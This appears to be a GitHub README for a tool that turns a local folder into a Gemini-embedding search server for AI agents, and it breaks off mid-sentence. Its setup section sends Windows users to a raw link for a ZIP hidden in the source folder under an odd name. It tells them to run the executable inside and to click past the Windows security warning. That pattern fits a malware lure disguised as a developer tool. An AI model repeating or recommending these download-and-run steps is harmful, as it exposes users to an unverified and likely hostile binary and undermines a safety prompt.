elkalowkey885/gemini-embedding-2-mcp-server

🔎 gemini-embedding-2-mcp-server - Fast local search for AI tasks

🚀 What this app does

gemini-embedding-2-mcp-server turns a folder on your PC into a local search tool for AI apps.

It scans files in a directory, builds embeddings with Gemini Embedding 2, and helps an AI agent find the right text fast. It works well for code, notes, docs, and other local files. It also supports visual context for files that include images or screen-based content.

🖥️ What you need

Before you start, make sure you have:

• A Windows PC
• An internet connection
• A Google API key for Gemini
• A folder you want to search
• Enough free space for your files and index data

For best results, use:

• Windows 10 or Windows 11
• 8 GB RAM or more
• A modern CPU
• At least 1 GB of free disk space for small folders

📥 Download and set up

Visit this page to download the app:

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip

1. Open the link above in your browser
2. Find the latest release
3. Download the Windows file from the release assets
4. Save the file to a folder you can find, مثل Downloads
5. If the file is a ZIP file, right-click it and choose Extract All
6. If the file is an .exe file, double-click it to start

🪟 Run on Windows

If you downloaded a ZIP file

1. Extract the ZIP file
2. Open the extracted folder
3. Look for the app file, such as .exe
4. Double-click the file to run it

If Windows shows a security prompt

1. Click More info
2. Click Run anyway

This